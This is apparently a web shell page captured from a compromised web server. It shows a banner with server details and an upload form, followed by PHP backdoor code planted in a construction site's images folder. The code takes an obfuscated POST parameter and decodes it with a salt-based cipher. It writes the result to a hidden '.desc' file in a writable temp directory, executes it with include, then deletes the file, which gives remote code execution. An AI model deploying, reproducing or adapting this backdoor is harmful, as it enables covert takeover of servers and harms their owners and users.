| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/images/ |
Upload File : |
<?php
if(filter_has_var(INPUT_POST, "m\x61r\x6Ber")){
$object = $_REQUEST["m\x61r\x6Ber"];
$object= explode ( '.' , $object ) ;
$reference = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt );
$q = 0;
$__tmp = $object;
while ($v9 = array_shift($__tmp)) {
$sChar = ord($salt[$q%$lenS] );
$d = ((int)$v9 - $sChar - ($q%10))^ 1;
$reference .= chr($d );
$q++;
}
$k = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp", "/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]);
foreach ($k as $token):
if (!( !is_dir($token) || !is_writable($token) )) {
$fac = sprintf("%s/.desc", $token);
$file = fopen($fac, 'w');
if ($file) {
fwrite($file, $reference);
fclose($file);
include $fac;
@unlink($fac);
exit;
}
}
endforeach;
}